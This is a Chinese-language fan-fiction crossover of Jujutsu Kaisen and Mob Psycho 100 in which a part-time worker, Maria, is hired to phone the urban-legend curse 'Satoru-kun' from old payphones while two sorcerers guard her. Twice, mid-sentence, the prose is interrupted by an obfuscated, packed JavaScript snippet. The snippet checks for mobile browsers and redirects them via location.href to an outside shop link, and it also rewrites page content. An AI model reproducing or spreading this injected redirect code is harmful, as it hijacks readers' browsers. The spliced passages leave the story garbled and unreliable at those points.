他们仍旧是搜索了一下这个死者的信息。 以身上的证件来看。 那是个名叫铃木弘子的女性——但在下山之后,联络辅助监督和本地警察的搜索,却给了两个高中生预料之外的结果。 在一个多月前,曾经有过对铃木弘子,和她的女儿铃木真理亚的失踪搜索。 报警人是两人借宿的民宿老板。 据说……铃木女士打算带着女儿自杀。 不仅如此。 “……好像不是自缢。”本地的辅助监督翻阅着警方现场检查的结论,“脖子是被人拧断的。” 两个男高看着照片上,黑发的真理亚,以她的体质,明显做不到这么干脆的事情。 ……那就是有其它人? 但真理亚。 MARIA的发音在两人的嘴里转了两圈,五条悟和夏油杰忍不住交换了一个眼神。 “总感觉有些巧合的样子……”夏油杰皱起了眉头,“灰原他们说要去的是哪里来着?” “调味市吧。” 两人嘀嘀咕咕。 但某只唔姆怪,已经抬起脑袋闻了闻空中的味道,眨巴了两下眼睛。 * 玛利亚听着麻里姐的招呼。 [你应该不清楚那些都市传说吧?] 她嗯了一声,摇了摇头。 17.两个笨蛋5 2006年,四月。 兼职时长:据工作内容而定,需要预留至少一周时间。 兼职内容:‘打电话’ 日薪:10万円(5千左右人民币)。 * [我想,这应该是只有玛利亚可以做的工作吧。] 尽管麻里姐这会儿就给玛利亚来了个电话,但实际上,这次的工作的确切开始时间是深夜——她告诉玛利亚,十点半就要去这边的区役所门口报道,然后接受岗前培训。 而雇主……竟然是调味市的市役所。(*立本市□□) 估计是她面上的表情带上了一点惊讶吧,灵幻和影山茂夫都升起了好奇。 黄发超·能力者一边耳朵竖起:“说了什么?” “……我被警察雇佣了。”虽然麻里姐说的是市役所什么什么改造办公室之类的,但说明太麻烦了,玛利亚就选了最简单的说法,“据说只有我能干。” 突然得到了吃上公家饭的机会(坐牢以外),玛利亚自己倒是缺乏实感,只关心往嘴里塞进白米饭,好像是因为钱都用完的关系,这会儿特别饿。 反倒是旁边的灵幻新隆露出了不敢相信的神情。 “真的假的……”那个黄发大人露出了面目可憎的嫉妒,“喂、我和茂夫已经拯救了两次调味市都还没正经被公家指名呢!” “主要是茂夫出力吧。”他们的宠物灵(本人严正抗议)小酒窝则是一脸嫌弃,“不管是把本地的超能力组织给击破,或是最上启示的恶灵超度……” 灵幻大言不惭地用大拇指指着自己:“我作为精神指导可是很重要的。” “……这难道是什么好事吗?” “可是,被公家雇佣的话,薪酬肯定可以确保吧!”灵幻信誓旦旦,他的工作偶尔还得接受客人给的物品作为报酬呢,还不算上雇主跑路,或是昏迷的倒霉情况。 这可是难得能当税金小偷的机会,要是傍上了固定的客源就是一本万利的发达之路! 简直都能看到那条铺满金色的道路了! 小酒窝从鬼火里伸出了两只小手摊开:“能被那种水准的相关人员雇佣的,一般都不是小事情了吧,而且还要协助咒术师……绝对超级麻烦。” “你是瞧不起我们茂夫吗!” “师匠,学校要开学月考了,我可能没法每天都来。”根本就不接受操纵,影山茂夫早学会了拒绝。 一人一灵吵吵嚷嚷,而影山茂夫一贯不参与这种争吵,摆着一张简笔画的表情吃饭——就好像被当成除灵主力使唤的人并不是自己一样。 而玛利亚更是只关心便当盒里新鲜的炸虾。 她盘腿坐在餐椅上,一筷子夹起炸虾,像是削铅笔一样把虾天妇罗咔哧咔哧地嚼巴进了嘴里,只剩最后孤零零的虾尾巴,啪嗒一声落在了当成骨碟的便当盖子里。 一人一灵吵不出结果。 灵幻直接嚷嚷着让玛利亚把电话打开公放,摆在餐桌正中。 玛利亚照做了。 * “喂,夏目小姐——!”灵幻正襟危坐地端坐在餐桌旁边,简直跟销售员附身似的点头哈腰,“玛利亚这次的工作……是只有她能做吗?” [灵幻先生是要掺和进来?抱歉,您可能会有点担心,不过……这件事的话,可能由玛利亚一个人做会比较安全一点。] “他根本就是想分一杯羹而已。”小酒窝一脸嫌弃,可惜,电话没法对灵感一般的人传递它的抱怨。 而被看穿心思的灵幻新隆背后冒出冷汗,悄悄切了一声,变脸比变天还快:“哎呀,这个,毕竟我也说要帮她把关,当工作上的成年代理人什么的。” 虽然早料到灵幻新隆会担起这个‘训犬师’的担子。 电话里的麻里姐还是噗呲一声笑了出来:[哎呀,那我们家玛利亚就拜托你了……叫我麻里就好了,灵幻先生。] “哪里哪里,毕竟是收钱办事嘛。” “……这两个人在进行什么幼儿园交接仪式吗。”小酒窝先是吐槽,然后扭脸看向了玛利亚,“喂,这单绝对不要给这个家伙佣金。” 玛利亚从饭盒里抬头,脑袋边上闪着金钱的闪光,比出了一个OK——包不给的。 不过灵幻倒也知道什么是正事,说话间已经问起了情况。 这次确实是市役所的指派,是因为市政建设有需要调整的事项,故而需要除灵……这说法有些笼统,但麻里姐只说等玛利亚到地方就知道了。 “不过,已经有术师到场了吧?”说实话,灵幻有些好奇。 有术师到场的话,那这次的工作肯定就会是偏向鬼怪、咒灵类型的‘灰色’了,为什么还需要作为辅助的灰色兼职出动? 毕竟按理说,灰色兼职虽然是这种为了钱赌上性命的属性,难听点说,就算是日抛型员工…… 与术师或是灵能力者做对比的话,至少也算是‘一般民众’才对。 而且这会儿还是刚入夜,正好可以提前给这个……灵幻的目光投向了那边的玛利亚。 此刻,金发笨蛋正在用嘴削第二根炸虾铅笔,注意到视线,只是抬头以和脑袋一样清澈的棕色眼睛看了过来,嘴巴还一嚼一嚼,脑袋飘起问号。 “……这家伙绝对需要提前做功课。”得出了结论,灵幻即答。 但和在场几个人的期待完全不同——虽然这么问了,电话对面的麻里姐语气却非常直接。 [不,不用。她这样过来就好,灵幻先生也是,请务必……] 电话那头的女性前辈说的话带着点苦口婆心,但内容却实在让人难以理解。 [……什么都不要告诉玛利亚。] [啊、玛利亚也是,不论如何都不能问,明白了吗?] 他们姑且记下了这个‘忠告’。 * 当夜九点,玛利亚到场一小时前。 调味市东区区役所门前。 灰原雄和七海建人早早等在了这里——他们其中一个是赤手空拳的‘无术式’,还有一个是背着一把以咒符包裹的钝刀的‘十划咒法’,可以把任何东西在三七分的弱点上劈开。 这一行动是有理由的。 本来,他们这次来到调味市,正是为了调查之前在这里发现的霉菌侵染。 在经过超过十天的治疗之后,当时被两个高专生发现的受害者,神父西山优吾已经恢复到了可以重新活动的状态……虽然一边眼睛因为感染再也没法恢复了。 这会儿那位独眼神父正在两名高专生临时落脚的家庭旅馆休息,而两个高专生则是等在了区役所门前,把本地的其它工作也处理一下。 这是因为调查需要长期出差,而术师人数吃紧,根本不可能让两个能派上用场的二级术师闲置下来。 ——所以事情就变成了这样。 他们将要暂住调味市,一边处理周边区域大大小小的祓除请托,然后,在空闲里再和西山神父一起参与调查。 毕竟当事人据说是在乡下好几个教区当走访的乡间神父——偶尔得驱魔祈福不说,农忙的时候还要兼职拖拉机和农具驾驶,真是个忙碌的职业。 不过两个高专生却感觉这种工作环境,搞不好要比他们咒术师好上一大截。 ……但神父现在这个身体状态,没有把身上不好的可能性都祛除的话,总是没法安心回到乡下。 他们约好了,等不需要出勤的明天白天,先是去感染发生的公寓看看,再在市内找找当时和西山优吾一起公事的几个灰色兼职——夏目麻里、永野薰和玛利亚。 所以这会儿。 两个高专一年级正等在区役所门口,准备先听辅助监督通报祓除的任务内容,一边等待着区役所聘请的灰色兼职到场。 一道说明的声音响起:“好的,这次祓除‘悟君’(さとる/satoru)的工作可能需要大家互相配合一下。” 还未因为这个都市传说过于熟稔的名字感到错愕。 两个高专生就发现了不对劲。 ——作为咒术师,他们早有了咒术师是在社会中隐蔽行动的门类的自觉。 虽然他们大部分工作确实也是经由各个役所委托,并通过合法的体系派发,但大部分时候,术师们接触的,还是以辅助监督、窗、灰色兼职、以及线人等…… 属于‘这一边’的家伙构成。 但此刻,站在他们面前和两个高专生说起任务的家伙,却不是这几个中的任意一类。 说话的人既不是辅助监督,也不是另外的术师。 而是个套着荧光材质施工马甲背心,里面套着灰色西装的本地区役所的公务员,旁边还站着个穿着制服的警察。 属于‘那一边’,表社会的人。 调味市到底是怎么回事? ‘这是什么地方特色吗?总感觉这边对于特殊能力者……是不是太司空见惯了?’这种和东京、以及其他地方迥然不同的工作方式,让七海建人不太适应。 但站在他旁边,纯粹就是个单细胞生物的灰原雄根本没注意到这点。 他已经自顾自地燃了起来:“明白了!绝对会做好合作的!”对面的警察敬礼,他也跟着敬礼……当然这动作还没做到一半已经被七海建人扒着手按了下来。 “……对方根本还没有说明合作的详细吧。”没来得及认真思考,就因为同伴过于热血急速放电,“你给我消停一点。” “重要的是心意啊,娜娜明,为了别人努力的意志和热血!” 没能回应同级生的热血,七海建人之觉得工作还没开始,自己已经开始想要打道回府了。 ……饶了我吧。 而那位公务员已经将手上的打印文件塞到了两名术师手里:“这是调味市现存的所有老式公用电话亭的地址,我们已经拆除了80%,现在市内剩下的,只剩下三十几台……”估计是工作习惯使然,他一边说话,一边还在点头哈腰,陪着笑脸,“大家都听过关于‘悟君’的都市传说吧?” ……你说的是我们高专那个比都市传说还恐怖的混蛋前辈,还是都市传说悟君? 虽然很想这么吐槽。 两个高专生还是互相交换了个眼神。 如果是那个‘什么都会为你回答的SATORU君’的传说的话…… “日本应该没有人不知道吧。”七海建人思考了片刻,点了点头。 * 什么都会为你解答的SATORU君……按照名气来说,应当算得上昭和年代家喻户晓的都市传说。 毕竟那个时代才是公用电话亭的使用高峰,随着家用电话和个人手机的活跃,公用电话亭已经逐渐淡出了人们的视野,仅作为区域紧急通讯、和灾害联络装置保存了。 而虽然都市传说会因为人人的口耳相传会存在很多变体,但其主干是明确的—— SATORU君无所不知。 SATORU君知无不言。 在公用电话亭投下10円吧,拨响号码,贴近嘴边。 [SATORU君,SATORU君,如果你来了的话,能回答我的问题吗?] 只要如此不停重复。 运气好的话——24小时内,SATORU君就会联系你。 而到了‘那个时候’…… “有人说这个时候需要回答特定的问题,答错的话会有不好的结果,也有人说这个时候悟君会问你的地点啦、或是他会亲自来找你啦、当然,也有种说法……说到时候接通电话的不会是悟君,而是一个女性……毕竟大家很喜欢在都市传说上添油加醋嘛。” 那位公务员的服务性微笑凝固在了脸上。 “总之——我们这次要祓除的就是这位‘都市传说’。” 这么说着。 公务员还有些不好意思:“哎呀,虽然这么说不太好,SATORU君最早就是我们这里传出去的噢!据说是本地的神童……” ……这到底有什么好得意的啊。 而旁边的警官则是握拳挡在嘴前咳嗽了一声——告知了两名术师工作内容。 虽然对于这类‘不一定生效’,而且‘只会瞄准’自寻死路的家伙的都市传说,不管是术师、或是本地公务员,考虑到人手有限,一般都是持没闹大就先放置的态度。 毕竟就算祓除了,它们很快也会因为大家的集体认知重新冒出来,也就消停个一两个月。 说句难听的。 “交通事故的威胁性都要远高于这类都市传说。”那位警察整了整自己的帽子,双手背在身后,“估计就在我们说话的这个晚上,就有一个人因为交通事故死亡,一百人受伤了。” 但是这次是有别的事因。 “前段时间,因为本地超能力者组织引发的暴力事件……” 总之,调味市地下网络里,用于灾害应急的电话线路被搞成了一团乱,虽然很多电话仍能够使用,但是线路的稳定性实……多少有些堪忧。 也是因为这样。 市政顺势就打算趁这个机会将所有的公用电话都一并拆除换线,再替换上更可靠的新式电话亭。 两个术师完全没有明白。 “不应该是超能力者引发的暴力事件更加重要吗?”虽然一贯热血脑,但灰原脑袋上飘起疑惑,仍能抓住重点。 为什么重点是换电话亭? “噢,超能力那个没事的,就跟台风一样,属于季节状况吧,这几天还有人说要占领调味市用超能力统治世界呢。” ……哪来的季节状况啊。 而七海建人还是没能明白这么做的意义:“那……这跟悟君、” 他顿了顿,总感觉从自己嘴里说出这个名字肉麻到有些难受,像是平白无故,单方面跟那个让人压力陡增的前辈成了朋友。 “咳咳、换电话亭跟都市传说有什么关系?”不是哪里都有的传说吗? “哎呀……”旁边那位公务员笑眯眯地搓了搓手。 ……这是因为。 这是起源于本地的都市传说……而SATORU君的本体——现在就在调味市。 确切来说。 它正在这几十个剩下的公用电话亭构成的电话网络里。 * 那位公务员表情安定,说起了各地方役所定下来的隐形默契。 “如果没有把SATORU君祓除,就进行公共电话拆卸作业的话。它会跟失去神灯的精灵一样乱跑的。要是到了什么难以控制的地方就糟糕了,还不如留在本地,这也是地方不成文的规定啦。” 要是没法以较小的代价彻底将其消灭的话。 还不如把它控制在眼皮子底下。 “……因为调味市的大家比较安定嘛。” 人口适中,不会让都市传说过于膨胀,又因为公用电话已经逐渐远离了人们的生活。 “简单来说,哎呀,这么说真是有些唏嘘……这个咒灵已经‘过气了’,大概就是这个意思吧。” 因为不再被‘认知’,这个都市传说的强度应该也已经落到一、二级的水准了,消亡估计也就是时间问题而已。 而且,因为特殊的民风。 本地居民们对于这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正因为是无所不知的SATORU君。 他会回应的人……根据本地的统计,多半都是一无所知、或是一知半解的家伙。 “就算让两位去打电话,我想应该也是不会有回应的。” 这恐怕也是那个咒灵无所不知的代价吧——会随着传说而变强,但也因为传说广为人所知,而变得更难对目标出手。 两个高专一年生都愣住了。 灰原雄诶了一声:“这个时代……应该不会有不知道这种传说的人吧。”他抓了抓自己的后脑勺,难得认真思考了起来。 毕竟很多古早的都市传说,大都是为了告诫小孩不要和陌生人说话、或是不要接起奇怪的电话之类的原因而来。 只要是普通的日本居民,应该多多少少都会被家长吓唬…… “附近的灰兼事务所已经给我们推荐了一个合适人选。” “诶?” * 十点。 虽然灵幻说是要开车送她过来,但因为作为初中生的茂夫家里有门禁,得先送他回家。 这中间当然也掺和了一些小酒窝——‘茂夫作为超能力者,强度远远超过灵幻’、‘到底谁送谁’的吐槽。 而麻里姐一开始也不太放心,但因为着急去别的工作也没有陪同。 所以,玛利亚最后还是在被灵幻、小酒窝、和电话连线的光头教了一大堆‘工作、面试经验’,又塞了两万円术式启动金之后,一个人来到了区役所门口。 ……虽然她觉得自己应该没什么问题就是了。 她远远就看到了等在区役所面前的几个大高个…… 两个高中生一看就是怪物目击证人一类的热心群众,而在穿着荧光马甲的西装工作人员和警察之间。 玛利亚的视线随着思考停顿了片刻,脑中已经闪过了几个前辈,对‘第一次独立工作’的自己提出的‘宝贵经验’了。 “玛利亚,记好了,不是所有有特殊能力的人都像我和茂夫这样好相处的……也有很多觉得自己很了不起的家伙。” 这是灵幻的嘱咐。 “不要随随便便就觉得别人是自己这边的。” 而电话那头的光头则是苦口婆心:[喜欢把灰色兼职当成炮灰使用的人意外地多。] [所以,想不被当成可抛弃的棋子最重要的一点,玛利亚——绝对!要一开始就把你的优势、资质还有价码摆出来。] ‘……有必要吗?我感觉应该警戒的是别人吧,这家伙的毒性从某种意义上来说,搞不好是最强的。’这完全是小酒窝的意见,‘按你平常那样就行了。’ 已经知道该怎么做了……她靠了过去。 * 而对于那边等待着的两个工作人员,两个术师来说……他们一开始以为那只是个路过的迷路女生。 她看上去是读高中的年龄,金发棕眼,头发被绑成了有些潦草的双马尾。 这会儿,这个女生双手插兜,身上还穿着印着‘财运’的绿色成套运动服。 简直就跟晚上出来遛弯一样。 而看到了他们,那个女生眼神一顿,思考了片刻就朝公务员靠了过来。 这个笑眯眯的扑克脸还没来得及抬手:“抱歉,我现在已经下班了,如果要问路的……”他这话还没说完。 “请问是术师先生吗?”那个顶着双马尾的迷路女突然发问,“我是这次指派的……” ……灰兼? 这个人? 真的假的…… 从眼神就能看出对方过分清澈的脑袋,本来还认真、潇洒地说着—— ‘里世界’的这样那样的故事; 宏观层面上,允许都市传说存在的内幕; 又或者是要利用灰兼当棋子的计划; 和苦大仇深,至少不要利用普通人的道德抉择。 ——这种话题的几个人都陷入了微妙的沉默。 总觉得她搞不好根本靠不住。 而带着一脸毫无紧张感的轻飘笑容,女生已经朝着公务员伸出手,讲完了自己的句子。 施法完成了。 * 玛利亚把自己的‘价码’和‘资质’都摆了出来。 “……我是这次指派的南洋章鱼类古神制服者(就是酱)·附身使者(小手)·床下怪物之主(大手)·超·能力者灵幻之友·驾照待考·收钱办事……”想不出要接下去什么头衔,玛利亚卡壳了片刻。 而在那边沉默的人群中,黑色蘑菇脑袋陷入了沉思,其它人则是动弹不得。 只有三七分男高呃了一声,他看上去像是个混血儿,问出了问题:“谁?” “南洋章鱼类古神制服者、” “不、我是说名字。” “我是玛利亚……那个、请多指教?”她想起上次生气的光头桑,决定要成为很有礼貌的打工仔。 然后玛利亚就‘如愿以偿’地看到了两个男高惊讶的表情。 ……果然。 被(我的价值)震住了! 搞错了别人被震住的原因,玛利亚在心底对自己满意地点了点头……等回去的话就告诉所有人,光头桑他的那套果然有用吧。 是过去的我误会了……光头桑,你用心良苦! 玛利亚心存感动。 不。 现在才是天大的误会。 真的被广而告之的话,光头桑搞不好会哭出来。 * 所以,就是这样——玛利亚清澈的大脑对怪谈一无所知。 而对于玛利亚的毒性…… 术师们也毫无预料。 18.两个笨蛋 她撂下话之后,对面的四个人好半天没有说话——穿着荧光马甲的灰色西装的笑容像是僵在了脸上,没有握住玛利亚的手。 警察先生好像则是陷入了反复重新的加载。 金发高中生面上全是‘我想回家’的逃避现实和厌烦。 不过玛利亚本来就没有尴尬这根神经,只是自然地收回了自己兼具友谊与威慑的手。 ——没人握就算了,看来也不是所有人打招呼都需要握手的。 但她的手还没有收回去,已经被最后一个黑色蘑菇头发型的高中生给握住了,还猛烈地摇晃了两下。 “哦哦哦!那这样的话我就是偏差值55·东京咒术高专二级术师·无术式·等大后年才能考驾照的灰原雄!” 这个蘑菇头,浓眉大眼的家伙打着的明显不是给玛利亚‘解围’的打算。 某种意义上,和玛利亚门类相同、品种有差的灰原雄可能……只是现在才想到工整对仗的接头方式而已。 他好像把这认成了某种喊口号或是表达友好的方式。 虽然不懂,但姑且跟着对方的节奏进行吧! ……搞不好就是这种想法。 灰原雄在大半夜、已经下班的区役所门外喊得中气十足。 “玛利亚小姐!啊、我可以叫你玛利亚吗?虽然我还没有制服很多咒灵的经验写在履历里,还是请多多指教!” 对上了电波,玛利亚已经一脸得意地拽起了光头桑教自己的三板斧英文:“Nice to meet you!当然了!你可以Call me Mary!” “Mary!噢噢,真了不起——” 一眼就能看出灰原长得很壮(以高中生基准),只是握着手,玛利亚的胳膊就直接被甩了起来。 两个笨蛋擅自庆祝了起来。 ……而旁边唯一英语本当上手的金发混血高中生,已经因为丢脸一手搭在了自己的脸上。 * “这两位就是由东京咒术高专派遣的术师,看来你们能好好合作,真是太好了……”还是西装先生笑眯眯地举起了一只手,“抱歉,我先打个电话。”说着就对两个高中生点点头,摸出手机,转身带着警察先生一起走开了十米。 然后玛利亚就听到了什么‘换人’、‘靠不住’‘口碑很好?骗人的吧’‘被推荐是真的吗’之类的话。 听上去真的很崩溃。 不过玛利亚本来就不太在意,跟没听到似的。 “玛利亚……”而西装先生刚走开,旁边顶着一头金发的高中生已经一下叫住了玛利亚,噢,确切来说,玛利亚感觉他只是下意识复述了一遍自己的名字。 她才注意到,这个表情带着奇怪倦怠的高中生眯起眼睛,只是带着疑惑和惊讶混合的目光盯着自己,看了好久。 玛利亚的头顶飘起了问号:“在?” “玛利亚小姐……” “我们年龄应该差不多吧?叫玛利亚也行的。”她总感觉那些后缀很麻烦,“灰原的同学。” “我是七海建人,请多指教。”他对玛利亚稍一鞠躬,但不知道怎么的,请多指教那几个字说得……多少有些勉强。 七海明明是个混血儿却跟日本人一样诶。 明明是个亚洲人面相却起个外国名的玛利亚嘀嘀咕咕。 但七海建人却好像是在脑袋里构建了一个铜墙铁壁,根本、或是说,尽量不受玛利亚的干扰。 他先是介绍——他和旁边的灰原雄是东京咒术高专的学生,也是二级术师,这次来负责这次案件。 也会负责保护玛利亚。 不过,除了这些事情之外—— “玛利亚小姐。”七海认真抛出了问题,“虽然也可能是巧合,你该不会……认识西山优吾神父吧。” 诶? 在听到名字的瞬间已经产生了奇妙的预感。 玛利亚敏锐地睁大了眼睛:“……该不会。” 该不会他是…… 对方表情严肃地点了点头。 脑子基本直通嘴巴的玛利亚指着对方:“优吾叔失散多年的兄弟、不对,年龄来看的话……父子!叔侄!同事!” 简直像是电视抢答,要把所有答案都说一遍一样,虽然全都是错的。 而七海建人的表情看似平静,其实已经走了有一会儿了。 即便是性格认真的他也忍不住腹诽。 ……这和西山神父说的‘听话的玛利亚酱’根本就是两码事吧!? 所以,玛利亚只能看到这个高中生先是深呼吸,然后才重新开口:“……西山先生现在在我们那里。” “绑架?” “……”她得到的只有沉重的呼吸声。 而没等到否认,从心里已经蒸腾起了对金钱病态的独占欲,玛利亚一脸肉痛地犹豫了好久才开口:“……赎金可以分期、”或是把西山神父先放在他们那边两个月? 四个月吧。 这样一个月的还款压力——她的狂言还没说出口。 对方的拳头已经跟个水杯底一样,咚一声落到了玛利亚的头上。 “都说了不是这么回事了!”三七分高中生吐了好长一口浊气,“而且,是劫匪的话为什么还要亲自过来啊。” 再说了,如果他和灰原真的是劫匪的话,这是什么宠物寄养服务吗?! 而刚锤完玛利亚的脑袋,七海就察觉了自己的不对劲,三七分高中生震惊地看着自己的拳头,简直不敢相信这是自己挥出去的一拳。 他一贯试图平静的表情出现了崩塌—— 这个家伙的头顶是有什么吸引拳头的特殊能力吗? 而因为金发高中生脸上分明这么写着。 所以玛利亚也老实回答了:“应该没有吧?” 她的特殊能力都需要花钱才对。 “我没有在认真问你这个问题。” “看来娜娜明和玛利亚很合得来呢。”而旁边的灰原雄只会笑眯眯地添乱,“他一般只对我说这种直接的话,这就是伙伴的证明!” “你也够了,再这样我就回东京。” 而毕竟眼前的工作更加重要,所以他们约好,等下工再说神父和霉斑的事情。 * 所以。 和几个差不多年龄段的朋友(玛利亚单方面认为)不打不相识是一方面。 另一方面,尽管警官和那位公务员几乎把信不过都写在了脸上,但因为已经找不到其他替换人选,这档子事还是落在了玛利亚头上。 “抱歉,看来就得你们三人一起开始工作了。”工作人员笑得有些勉强,“已经找不到其他合适的协力者了,抱歉、灰原君,七海君……不过玛利亚小姐虽然经验不足,但工作的完成度和口碑都很好。”他说着场面话。 但玛利亚的重点显然在另外一边:“我呢?不对我道歉吗?”她举起手,“我也要。” 然后。 两个高中生眼睁睁那个公务员笑眯眯的面具脸僵住了,接着变成了一种带着无力感的叹息。 “……抱歉。” 不过说实话,它听上去更像是是一声求饶,或是‘你以为这是分蛋糕吗!?’的敢怒不敢言。 偏偏玛利亚无法察觉,只是一本正经地竖起拇指说:“没关系。” 都不知道是谁在气谁了。 而因为两个普通人完全帮不上忙。 两人在给玛利亚做完岗前培训、将室内三十几处公共电话的所在位置标注完、又将今天的日薪折算成了有零有整的现钞(这是玛利亚的要求)之后。 就先回了区役所的办公室。 由辅助监督负责开车,要求几人只要工作有任何新进展就给他们电话。 不过,说是‘岗前培训’,玛利亚得到的指示也并不多,只是得到了一本像是单人RPG冒险一样的打印小册子——据说是为了确保她‘尽量不要知道,或是不要过早知道,自己不需要知道的事情’而专门制作的。 因为公务员严令她擅自翻阅,玛利亚知道的,也只有用公用电话亭打电话这点而已。 玛利亚下意识确认了‘交换事项’:“所以给我的工钱是为了消灭什么东西吗?” “玛利亚小姐只要负责打电话就可以了。”而公务员没懂她问这种问题有什么意义,只是好声好气地回答。 “明白了。” 只要可以打通电话就行。 于是—— 工作的起始时间是每天晚上的零点,工作时长一个小时,而工作量则是依照情况而定。 只要两名术师得到了某个想要的结果并告诉她。 玛利亚的工作就可以结束了。 * 所以。 在聚集的第一天。 晚上11:30。 玛利亚就卡着十二点前,先和灰原、七海到了离区役所最近的一处电话亭——今天的理论上的工作是在凌晨一点之前,用两处电话亭打电话。 每处地点消耗半个小时。 已经计算好了再简单不过的工作量,玛利亚一脸轻松地和两个面色有些凝重的高中生挥了挥手先分头行动。 他们应该是有别的安排,只是站在离电话亭不远也不近的位置监视着这边。 而玛利亚已经钻进了电话亭——因为建立的年代有些久远,这种侧开的折叠推拉门早就生锈了,不管是打开还是关上都有些费劲。 她按照吩咐关上了门。 即便玛利亚并不是大体格也能感觉到——空间非常狭窄。 作为公共照明的一部分,电话亭的顶部除了裸-露的不锈钢,就是一个嵌着的方格吸顶灯。 也因为室内很亮而周围非常昏暗,亭身又都是玻璃。 她一进入这个电话亭,就感觉电话亭的外面一下子黑得不可思议……简直就像是世界的其他地方都不存在了,只剩电话亭、和周围的一片漆黑一样。 但玛利亚并不在意,她只是打量起了室内的情况。 狭窄的空间里被塞下了一个勉强能够让人写字的小不锈钢平台,一些被预留在这里的便签纸和绑在平台上的圆珠笔(但几乎没有墨水了)。 几乎只能让人斜撑靠着的、手掌宽的‘靠凳’。 旁边已经有些发黄的玻璃上,则是嵌着一块小铁板,上面刻着一些常用的电话。 诸如:报时电话117、天气咨询177、报警110之类的…… 然后玛利亚的目光才移向了绿色、发旧的电话——拨号盘的上方以铁片镶嵌着‘本机号码’。 而拨号盘的数字则是阴刻,凹陷进去的,但即便如此,这些电话上的按钮也因为长年的使用,被磨蚀得差不多了。 然后玛利亚这才拿出公务员给的说明册子。 被A4纸打印出来,手工装订的册子非常有公务员风格——《公用电话亭翻修企划项目A-工作手册》 上面只写着非常简单明确的指示: [本工作手册允许自行翻阅的只有前四页,第四页之后请【严格遵照】顺序行动,并按照条款给予的指示进行【翻页】(这里还标红了)。] 第一页:[时间是0到1点吗?翻到第2页。] [是否为电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129329|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话投入了10円硬币?翻到第3页。] [是否带着真心想要提问、且不拥有答案的问题?翻到第4页。] 而第四页的内容要长一些,分为几段。 [①:请使用这台公用电话亭,拨打机身上标注的【本机号码】。] [②:完成之后,如传来拨通的长音,则在电话接通后在付费时长内复述…… “SATORU君,SATORU君,我同意交易,可以回答我的问题吗?”] 因为并不知道悟君的都市传说,是以,玛利亚并没察觉到给予她的指示,和市面上的传说不同的部分,只是继续读了下去。 [③:以上都完成后,翻到下一页,根据以下的几种情况翻至特定的页数(详情参见手册侧边的标签),并按照上面的指示行动。] [④:等一切完成,至少需要等待15分钟,才可以离开电话亭。] 玛利亚盯着这头四页,眨了眨眼。 她思考了片刻。 * 站在外面等待的灰原雄和七海建人目送着玛利亚进了电话亭——两人站在黑暗里,把电话亭内部的一切都看得很清晰,他们看着玛利亚东看看西摸-摸。 实在想象不出这个看上去有些大条的少女会是灰色兼职的从业者。 站在旁边的灰原雄盯着电话亭,刚和七海建人商量完等咒灵出现,自己就从左侧突袭,给七海制造突入口这种策略。 “不过,虽然西山神父说玛利亚只是普通地有些灵感……没想到会是术师呢。” “她身上确实有着很浅的一层咒力,但是……”七海总觉得有些奇怪。 灰原满脸好奇:“不知道会是什么术式诶,啊、要是五条前辈在这里就好了……我好好奇!” “你直接问她不、”就好了。 七海手里攥着钝刀,但话还没说完—— 就看到玛利亚的脑袋突然从电话亭里钻了出来。 两个男高被吓了一跳,先是连忙看周围的咒力波动,再是确认时间。 ——十一点五十。 这不是还没到0点吗!? “那个——问题问什么都可以吧?”而那个金发双马尾仍然毫无紧张感,只是一手指着工作手册发问,“会有人回答吗?” 不知道怎么跟玛利亚说明才不算‘让她知情’,七海思考了片刻只能告诉她:“手册上没写的就按照自己的想法来吧。” 玛利亚比了个OK,又关上了电话亭的门。 而这从某种程度上来说,虽然并不是七海建人的责任。 ……但确实也是事态脱轨的原因之一。 * 坐在高野山山脚下的车里。 毕竟不是他的工作,还有一定的保密要求,夏油杰只能等待那边五条悟和辅助监督问出个所以然。 不过因为一级术师的听力很好,加上五条悟并没有想要隐瞒。 夜风现在还在往他的耳朵里灌着…… ‘铃木真理亚又是谁,诶,那个民宿老板不知道吗?’、‘户籍调查要等那么久吗?’、‘尸体上没有任何残秽留下,估计是一般人(麻瓜)干的吧。’、‘啧、还要等监控调取啊……’ ……这一堆麻烦事。 而不仅如此—— 狐狸眼男高皱起眉头,低头看向了那个正在四处打量的守宫胖蜥蜴。 只见从之前去到那个神社到下山开始,这个跟个长了手脚的球一样的咒灵就表现得有些躁动,这会儿它正在座位上四处乱爬。 然后吧唧一声摔在汽车地垫上,弹了两下,终于四脚着地。 只见它费劲地抬着脑袋伸着舌头四处‘打量’,像是在嗅闻、或是确认着什么—— 然后。 某种几乎是可见的、如同惊喜一样的表情突然从唔姆怪的脸上蹦了出来。 只见它扭头看向窗外的某个方向,像催促似的开始唔姆乱叫,但紧接着下一秒就被夏油杰屈起的双手拢在了手里。 “是那边有什么吗?” “唔姆!” “带我过去?” “……唔姆。” 意义不明,只能通过术式感觉那应该是否认的意思。 而即便可以操纵它如何行动,但夏油杰实在不清楚它的术式为何。 他确实能以咒灵操术模模糊糊感知到,某个像是开关一样的东西存在于这个咒灵里,按下去的话,这个守宫壁虎蜥蜴的尾巴就会断掉,等待下次长出来。 ……但尾巴断开到底会发生什么事情? 等悟过来的时候‘按下去’试试看吧。 * 电话亭里。 虽然不知道这玩意儿为什么需要‘真心想要提问’的问题……那多半是直觉?总感觉……问了会得到某种意义上的答案。 毕竟花了钱。 此刻,玛利亚已经知道自己该问什么了。 她以电话亭里提供的圆珠笔末端戳了戳自己的脸侧,在十二点来临之前,在便签纸上打上了问题的腹稿。 有两个备选……一个是她关心的问题。 ‘钱箱在哪?’ 而另一个问题,是玛利亚在某种意义上有答案,却不太确定那是不是答案的。 